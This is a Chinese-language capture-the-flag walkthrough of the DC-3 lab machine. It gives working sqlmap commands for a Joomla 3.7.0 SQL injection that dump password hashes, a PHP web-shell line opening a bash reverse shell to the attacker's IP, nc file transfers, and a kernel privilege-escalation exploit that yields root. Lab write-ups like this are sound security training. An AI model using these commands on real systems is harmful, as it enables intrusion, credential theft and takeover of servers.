文章目录
环境版本:
- VMware 16
- Kali 2021.1(虚拟机)
- DC-3(虚拟机)
开幕雷击:
导入 DC-3 发现如下提示
IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide0:1”移到“ide0:0”
解决方法:
虚拟机 -> 设置 -> CD/DVD -> 高级,将 0:1 改为 0:0
一、信息收集
1.主机发现
arp-scan -l
2.端口扫描
nmap -A -p- 192.168.1.126
可以看到,该主机开启了 80 端口 Apache 服务,使用了 Joomla 框架
二、漏洞挖掘
1.访问 ip
发现登陆界面
欢迎来到DC-3。
这一次,只有一个 flag,一个入口点,没有提示,
要想得到这个旗子,你显然必须获得根的特权,
你如何成为根的权利取决于你自己
--当然还有系统。
祝你好运
--我希望你喜欢这个小小的挑战。
你在这里:HOME
2.目录扫描及版本扫描
已知其使用的是 Joomla 框架,使用 joomscan 扫描
apt-get install joomscan
joomscan -u 192.168.1.126
发现 joomla 版本、入口点及若干目录
3.搜索 joomla 框架对应版本漏洞,并打印详细信息
searchsploit Joomla 3.7.0
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
发现注入漏洞,并提示使用 SQLmap 进行爆破
4.使用 SQLmap 对 joomla 的数据库进行攻击
#爆库
sqlmap -u "http://192.168.43.53/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
#爆表
sqlmap -u "http://192.168.43.53/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
#爆列名(参数选择:Y,Y)
sqlmap -u "http://192.168.43.53/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
#爆记录
sqlmap -u "http://192.168.43.53/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump -p list[fullordering] --batch
如上操作得到账号、密码 hash
5.使用 john 对密码 hash 进行爆破
将得到的密码写入 1.txt,使用 john 进行 hash 爆破
john 1.txt
得到密码:snoopy
注意:join 对一文件只能进行一次爆破,第二次爆破没有结果,会出现如下界面,可以使用 “john --show *” 查看所有爆破结果
6.登入后台
发现后台能编辑和创建文件,创建文件 1.php
在新文件写入 phpinfo() ,访问 192.168.43.53/templates/beez3/1.php,发现有回显
(关于目录,上图绿框中提示了路径,只是把 template 变为 templates )
7.使用 nc 反弹 shell
1)编辑 1.php,将下内容写入,ip 改为你的攻击机(kali) ip 地址,端口随意
system("bash -c 'bash -i >& /dev/tcp/192.168.43.43/2333 0>&1'");
2)攻击机(kali) 开启监听
3)访问 192.168.43.53/templates/beez3/1.php,返回 Kali 发现有回显
8.提权
1)查看版本信息
uname -a #查看kernel版本
cat /etc/*-release #查看linux版本
2)扫描该版本提权 exp
searchsploit ubuntu 16.04 4.4
3)使用 39772 进行提权
查看漏洞信息及使用方法
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
4)在靶机 shell 中无法获取,考虑在攻击机 nc 传输
5)访问 ‘https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip’ 下载39772.zip
unzip 39772.zip
cd 39772 tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
- nc 传输整个目录
(只可更改ip、端口,不能更改 ‘-’)
靶机 shell:
nc -l 1234|tar zxvf - #nc开启监听1234端口,接收并 tar 解包
攻击机:
tar cfz - *|nc 192.168.43.53 1234 #tar打包当前目录文件,nc传输
7)接收文件后终止靶机 shell 进程,重新建立连接
靶机 shell ctrl+c
nc -lvvp 2333
访问 http://192.168.43.53/templates/beez3/1.php
查看当前目录发现文件,按照 exp 说明执行文件
靶机shell:
./compile.sh
./doubleput #等待 60s 左右,得到 root shell